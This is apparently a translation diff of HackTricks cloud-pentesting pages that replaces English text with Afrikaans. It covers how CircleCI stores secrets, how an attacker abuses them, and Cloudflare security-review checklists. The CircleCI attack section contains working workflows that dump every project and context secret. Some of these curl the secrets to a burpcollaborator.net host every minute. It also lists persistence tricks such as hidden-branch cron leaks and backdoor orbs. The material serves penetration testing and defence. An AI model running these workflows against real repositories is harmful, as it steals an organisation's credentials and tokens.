According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
|
||||
Volgens [**die dokumentasie**](https://circleci.com/docs/2.0/env-vars/) is daar verskillende maniere om **waardes in omgewing veranderlikes** binne 'n werksvloei te **laai**.
|
||||
|
||||
#### Built-in env variables
|
||||
#### Ingeboude omgewing veranderlikes
|
||||
|
||||
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
|
||||
Elke houer wat deur CircleCI gedraai word, sal altyd [**spesifieke omgewing veranderlikes in die dokumentasie gedefinieer**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) hê soos `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` of `CIRCLE_USERNAME`.
|
||||
|
||||
#### Clear text
|
||||
|
||||
You can declare them in clear text inside a **command**:
|
||||
#### Duidelike teks
|
||||
|
||||
Jy kan hulle in duidelike teks binne 'n **opdrag** verklaar:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **run environment**:
|
||||
|
||||
U kan hulle in duidelike teks binne die **run environment** verklaar:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **build-job environment**:
|
||||
|
||||
U kan hulle in duidelike teks binne die **build-job omgewing** verklaar:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **environment of a container**:
|
||||
|
||||
U kan dit in duidelike teks binne die **omgewing van 'n houer** verklaar:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
#### Projek Geheime
|
||||
|
||||
#### Project Secrets
|
||||
|
||||
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
|
||||
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
Dit is **geheime** wat slegs deur die **projek** (deur **enige tak**) **toeganklik** gaan wees.\
|
||||
Jy kan hulle **verklaar in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
|
||||
> Die "**Import Variabels**" funksionaliteit laat toe om **variabels van ander projekte** na hierdie een te **importeer**.
|
||||
|
||||
#### Context Secrets
|
||||
#### Konteks Geheime
|
||||
|
||||
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
|
||||
Dit is geheime wat **organisasie wye** is. Deur **verstek kan enige repo** **enige geheim** wat hier gestoor is **toegang** hê:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
|
||||
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
|
||||
> Let egter daarop dat 'n ander groep (in plaas van Alle lede) kan wees **geselekteer om slegs toegang tot die geheime aan spesifieke mense** te gee.\
|
||||
> Dit is tans een van die beste maniere om die **veiligheid van die geheime** te **verhoog**, om nie te laat dat almal toegang het nie, maar net sommige mense.
|
||||
|
||||
### Attacks
|
||||
### Aanvalle
|
||||
|
||||
#### Search Clear Text Secrets
|
||||
#### Soek Duidelike Teks Geheime
|
||||
|
||||
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
|
||||
As jy **toegang het tot die VCS** (soos github) kyk na die lêer `.circleci/config.yml` van **elke repo op elke tak** en **soek** na potensiële **duidelike teks geheime** wat daar gestoor is.
|
||||
|
||||
#### Secret Env Vars & Context enumeration
|
||||
#### Geheime Omgewing Variabelen & Konteks enumerasie
|
||||
|
||||
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
Deur die kode na te gaan kan jy **alle geheime name** vind wat in elke `.circleci/config.yml` lêer **gebruik** word. Jy kan ook die **konteks name** van daardie lêers kry of hulle in die webkonsol nagaan: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
|
||||
#### Exfiltrate Project secrets
|
||||
#### Ekstrakteer Projek geheime
|
||||
|
||||
> [!WARNING]
|
||||
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
|
||||
> Ten einde om **ALLES** van die projek en konteks **GEHEIME** te **ekstrakteer** moet jy **net** **SKRYF** toegang hê tot **net 1 repo** in die hele github organisasie (_en jou rekening moet toegang hê tot die kontekste, maar deur verstek kan almal toegang hê tot elke konteks_).
|
||||
|
||||
> [!CAUTION]
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
|
||||
|
||||
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
|
||||
> Die "**Import Variabels**" funksionaliteit laat toe om **variabels van ander projekte** na hierdie een te **importeer**. Daarom kan 'n aanvaller **alle projekvariabels van al die repos** **importeer** en dan **almal saam ekstrakteer**.
|
||||
|
||||
Alle projek geheime is altyd in die omgewing van die werksgeleenthede ingestel, so net deur om omgewing aan te roep en dit in base64 te obfuskeer, sal die geheime in die **werkvloei weblogkonsol** geëkstrakteer word:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
As jy **nie toegang tot die webkonsol** het nie, maar jy het **toegang tot die repo** en jy weet dat CircleCI gebruik word, kan jy net **n werkvloei skep** wat **elke minuut geaktiveer word** en wat **die geheime na 'n eksterne adres uitvoer**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
#### Exfiltreer Konteks Geheime
|
||||
|
||||
#### Exfiltrate Context Secrets
|
||||
|
||||
You need to **specify the context name** (this will also exfiltrate the project secrets):
|
||||
|
||||
Jy moet **die konteksnaam spesifiseer** (dit sal ook die projekgeheime eksfiltreer):
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
As jy **nie toegang tot die webkonsol** het nie, maar jy het **toegang tot die repo** en jy weet dat CircleCI gebruik word, kan jy net **'n werksvloei aanpas** wat **elke minuut geaktiveer word** en wat **die geheime na 'n eksterne adres stuur**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
|
||||
> Om net 'n nuwe `.circleci/config.yml` in 'n repo te skep **is nie genoeg om 'n circleci bou te aktiveer nie**. Jy moet dit **as 'n projek in die circleci konsole aktiveer**.
|
||||
|
||||
#### Escape to Cloud
|
||||
#### Ontsnap na die Wolk
|
||||
|
||||
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
|
||||
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
|
||||
|
||||
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
|
||||
**CircleCI** gee jou die opsie om **jou boue in hul masjiene of in jou eie** te laat loop.\
|
||||
Standaard is hul masjiene geleë in GCP, en jy sal aanvanklik nie enigiets relevants kan vind nie. As 'n slagoffer egter die take in **hulle eie masjiene (potensieel, in 'n wolk omgewing)** uitvoer, kan jy 'n **wolk metadata eindpunt met interessante inligting daarop** vind.
|
||||
|
||||
Let daarop dat in die vorige voorbeelde alles binne 'n docker houer gelanseer is, maar jy kan ook **vra om 'n VM masjien te lanseer** (wat dalk verskillende wolk toestemmings kan hê):
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
```
|
||||
|
||||
Or even a docker container with access to a remote docker service:
|
||||
|
||||
Of selfs 'n docker-container met toegang tot 'n afstands-docker-diens:
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
```
|
||||
#### Volharding
|
||||
|
||||
#### Persistence
|
||||
|
||||
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- It's possible to **add SSH keys** to the projects.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
|
||||
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
|
||||
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
|
||||
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
|
||||
- Dit is moontlik om **gebruikertokens in CircleCI** te **skep** om toegang te verkry tot die API-eindpunte met die gebruikers se toegang.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- Dit is moontlik om **projektokens** te **skep** om toegang te verkry tot die projek met die toestemmings wat aan die token gegee is.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- Dit is moontlik om **SSH-sleutels** aan die projekte toe te voeg.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- Dit is moontlik om 'n **cron-taak in 'n verborge tak** te **skep** in 'n onverwagte projek wat elke dag al die **context env** vars **lek**.
|
||||
- Of selfs in 'n tak te **skep** / 'n bekende taak te **wysig** wat elke dag al die context en **projeksecrets** sal **lek**.
|
||||
- As jy 'n github-eienaar is, kan jy **ongeverifieerde orbs** **toelaat** en een in 'n taak as **achterdeur** konfigureer.
|
||||
- Jy kan 'n **opdraginjektievulnerabiliteit** in sommige take vind en **opdragte** via 'n **geheim** **injekteer** deur sy waarde te **wysig**.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,76 +2,76 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
In 'n Cloudflare-rekening is daar 'n paar **generale instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheid-verwante instellings van elke afdeling analiseer:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Websites
|
||||
|
||||
Review each with:
|
||||
Herbekyk elkeen met:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
{{#endref}}
|
||||
|
||||
### Domain Registration
|
||||
### Domein Registrasie
|
||||
|
||||
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
|
||||
- [ ] In **`Transfer Domains`** kyk dat dit nie moontlik is om enige domein oor te dra nie.
|
||||
|
||||
Review each with:
|
||||
Herbekyk elkeen met:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
{{#endref}}
|
||||
|
||||
## Analytics
|
||||
## Analise
|
||||
|
||||
_I couldn't find anything to check for a config security review._
|
||||
_Ek kon niks vind om 'n konfigurasie veiligheid hersiening te doen nie._
|
||||
|
||||
## Pages
|
||||
## Bladsye
|
||||
|
||||
On each Cloudflare's page:
|
||||
Op elke Cloudflare se bladsy:
|
||||
|
||||
- [ ] Check for **sensitive information** in the **`Build log`**.
|
||||
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
|
||||
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/).
|
||||
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
|
||||
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
|
||||
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
|
||||
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
|
||||
- [ ] Kyk vir **sensitiewe inligting** in die **`Build log`**.
|
||||
- [ ] Kyk vir **sensitiewe inligting** in die **Github-repo** wat aan die bladsye toegeken is.
|
||||
- [ ] Kyk vir potensiële github repo kompromie via **workflow command injection** of `pull_request_target` kompromie. Meer inligting in die [**Github Veiligheid bladsy**](../github-security/).
|
||||
- [ ] Kyk vir **kwesbare funksies** in die `/fuctions` gids (indien enige), kyk die **omleidings** in die `_redirects` lêer (indien enige) en **misgeconfigureerde koppe** in die `_headers` lêer (indien enige).
|
||||
- [ ] Kyk vir **kwesbaarhede** in die **web bladsy** via **blackbox** of **whitebox** as jy die **kode** kan **toegang**.
|
||||
- [ ] In die besonderhede van elke bladsy `/<page_id>/pages/view/blocklist/settings/functions`. Kyk vir **sensitiewe inligting** in die **`Environment variables`**.
|
||||
- [ ] In die besonderhede bladsy kyk ook die **bou opdrag** en **wortel gids** vir **potensiële inspuitings** om die bladsy te kompromitteer.
|
||||
|
||||
## **Workers**
|
||||
|
||||
On each Cloudflare's worker check:
|
||||
Op elke Cloudflare se werker kyk:
|
||||
|
||||
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
|
||||
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
|
||||
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
|
||||
- Check for SSRFs returning the indicated page that you can control
|
||||
- Check XSSs executing JS inside a svg image
|
||||
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
|
||||
- [ ] Die triggers: Wat maak die werker om te trigger? Kan 'n **gebruiker data stuur** wat deur die werker **gebruik** sal word?
|
||||
- [ ] In die **`Settings`**, kyk vir **`Variables`** wat **sensitiewe inligting** bevat.
|
||||
- [ ] Kyk die **kode van die werker** en soek vir **kwesbaarhede** (veral in plekke waar die gebruiker die invoer kan bestuur).
|
||||
- Kyk vir SSRFs wat die aangeduide bladsy teruggee wat jy kan beheer.
|
||||
- Kyk vir XSS's wat JS binne 'n svg beeld uitvoer.
|
||||
- Dit is moontlik dat die werker met ander interne dienste interaksie het. Byvoorbeeld, 'n werker kan met 'n R2-bucket interaksie hê wat inligting daarin stoor wat van die invoer verkry is. In daardie geval sal dit nodig wees om te kyk watter vermoëns die werker oor die R2-bucket het en hoe dit misbruik kan word vanaf die gebruikersinvoer.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
> Let daarop dat 'n **Werker standaard 'n URL gegee word** soos `<worker-name>.<account>.workers.dev`. Die gebruiker kan dit op 'n **subdomein** stel, maar jy kan dit altyd met daardie **oorspronklike URL** toegang as jy dit weet.
|
||||
|
||||
## R2
|
||||
|
||||
On each R2 bucket check:
|
||||
Op elke R2-bucket kyk:
|
||||
|
||||
- [ ] Configure **CORS Policy**.
|
||||
- [ ] Konfigureer **CORS-beleid**.
|
||||
|
||||
## Stream
|
||||
## Stroom
|
||||
|
||||
TODO
|
||||
|
||||
## Images
|
||||
## Beelde
|
||||
|
||||
TODO
|
||||
|
||||
## Security Center
|
||||
## Veiligheid Sentrum
|
||||
|
||||
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
|
||||
- [ ] Just **check this information** for security misconfigurations and interesting info
|
||||
- [ ] As moontlik, voer 'n **`Security Insights`** **skandering** en 'n **`Infrastructure`** **skandering** uit, aangesien dit **interessante inligting** **veiligheid** wys.
|
||||
- [ ] Kyk net na **hierdie inligting** vir veiligheid misconfigurasies en interessante inligting.
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -83,56 +83,52 @@ TODO
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
## Bulk Redirects
|
||||
## Groot Omleidings
|
||||
|
||||
> [!NOTE]
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
> Anders as [Dinamiese Omleidings](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Groot Omleidings**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) is essensieel staties — hulle ondersteun **nie enige string vervangings** operasies of gereelde uitdrukkings nie. Dit is egter moontlik om URL omleidingsparameters te konfigureer wat hul URL ooreenkoms gedrag en hul runtime gedrag beïnvloed.
|
||||
|
||||
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
|
||||
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
|
||||
- [ ] Kyk dat die **uitdrukkings** en **vereistes** vir omleidings **sinvol is**.
|
||||
- [ ] Kyk ook vir **sensitiewe verborge eindpunte** wat jy interessante inligting bevat.
|
||||
|
||||
## Notifications
|
||||
## Kennisgewings
|
||||
|
||||
- [ ] Check the **notifications.** These notifications are recommended for security:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
|
||||
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
|
||||
- [ ] Kyk die **kennisgewings.** Hierdie kennisgewings word aanbeveel vir veiligheid:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Kyk al die **bestemmings**, aangesien daar **sensitiewe inligting** (basiese http auth) in webhook urls kan wees. Maak ook seker dat webhook urls **HTTPS** gebruik.
|
||||
- [ ] As ekstra kontrole, kan jy probeer om 'n **cloudflare kennisgewing** na 'n derde party te **verpersoonlik**, miskien kan jy op een of ander manier **iets gevaarliks inspuit**.
|
||||
|
||||
## Manage Account
|
||||
## Bestuur Rekening
|
||||
|
||||
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
|
||||
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
|
||||
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
|
||||
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
|
||||
- [ ] Dit is moontlik om die **laaste 4 syfers van die kredietkaart**, **verval** tyd en **faktuur adres** in **`Billing` -> `Payment info`** te sien.
|
||||
- [ ] Dit is moontlik om die **plan tipe** wat in die rekening gebruik word in **`Billing` -> `Subscriptions`** te sien.
|
||||
- [ ] In **`Members`** is dit moontlik om al die lede van die rekening en hul **rol** te sien. Let daarop dat as die plan tipe nie Enterprise is nie, bestaan daar slegs 2 rolle: Administrateur en Super Administrateur. Maar as die gebruikte **plan Enterprise** is, kan [**meer rolle**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) gebruik word om die minste voorregte beginsel te volg.
|
||||
- Daarom, wanneer moontlik, is dit **aanbeveel** om die **Enterprise plan** te gebruik.
|
||||
- [ ] In Lede is dit moontlik om te kyk watter **lede** **2FA geaktiveer** het. **Elke** gebruiker moet dit geaktiveer hê.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
|
||||
> Let daarop dat gelukkig die rol **`Administrator`** nie toestemming gee om lidmaatskappe te bestuur nie (**kan nie voorregte verhoog of nuwe lede nooi nie**).
|
||||
|
||||
## DDoS Investigation
|
||||
## DDoS Ondersoek
|
||||
|
||||
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
[Kyk hierdie deel](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
In elke TLD wat in Cloudflare gekonfigureer is, is daar 'n paar **algemene instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheidsverwante instellings van elke afdeling analiseer:**
|
||||
|
||||
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Overview
|
||||
### Oorsig
|
||||
|
||||
- [ ] Get a feeling of **how much** are the services of the account **used**
|
||||
- [ ] Find also the **zone ID** and the **account ID**
|
||||
- [ ] Kry 'n gevoel van **hoeveel** die dienste van die rekening **gebruik** word
|
||||
- [ ] Vind ook die **zone ID** en die **rekening ID**
|
||||
|
||||
### Analytics
|
||||
### Analise
|
||||
|
||||
- [ ] In **`Security`** check if there is any **Rate limiting**
|
||||
- [ ] In **`Security`** kyk of daar enige **Tarief beperking** is
|
||||
|
||||
### DNS
|
||||
|
||||
- [ ] Check **interesting** (sensitive?) data in DNS **records**
|
||||
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
|
||||
- [ ] Check for web pages that **aren't** **proxied**
|
||||
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
|
||||
- [ ] Check that **DNSSEC** is **enabled**
|
||||
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
|
||||
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
|
||||
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
|
||||
- [ ] Kyk na **interessante** (sensitiewe?) data in DNS **rekords**
|
||||
